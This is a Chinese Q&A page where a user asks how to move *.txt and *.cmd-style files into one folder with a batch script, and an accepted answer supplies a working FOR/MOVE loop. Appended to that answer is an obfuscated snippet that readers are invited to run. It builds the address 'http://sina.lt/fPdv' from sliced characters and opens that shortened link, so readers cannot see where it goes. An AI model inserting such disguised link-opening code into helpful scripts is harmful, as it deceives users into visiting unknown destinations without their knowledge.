求帮解决一个bat多扩展名移动到同一文件夹的问题

比如1文件夹里有*.txt和*.cmd文件,现在要把它们移动到2文件夹,用最简洁的代码表示,一下图1是繁琐型的,图2是构思的,但是提示语法不对。。小白,求大神指教,谢谢

@echo off
rem 移动多种扩展名/后缀名的文件到指定目录
set #=Any question&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$% %z%
set "源目录=C:\Users\admin\Desktop\1"
set "新目录=C:\Users\admin\Desktop\2"
if not exist "%源目录%" (echo;"%源目录%" not found&goto end)
if not exist "%新目录%" (md "%新目录%")
for %%a in (mp3 mp4 avi jpg) do (
    move "%源目录%\*.%%a" "%新目录%\"
)
:end
echo;%#% +%$%%$% %z%
pause

温馨提示:内容为网友见解,仅供参考
第1个回答  2019-09-24
@echo off & title 移动多种格式文件到指定目录 By 依梦琴瑶

::设置要移动的文件格式
set Ext=*.mp3,*.mp4,*.jpg,*.png

::设置源文件所在目录路径
set SrcPath=C:\Desktop\1

::设置目标文件夹路径
set SavPath=C:\Desktop\2

cd /d "%SrcPath%"
for %%a in (%Ext%) do (
move "%%~a" "%SavPath%\"
)
pause

::若有能力,可额外运行一下下方代码
@echo off
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

额外推荐在百度知道中搜索“文件分类 依梦琴瑶”,您会发现好多我写的针对文件类型进行归类的代码哦!本回答被提问者采纳
相似回答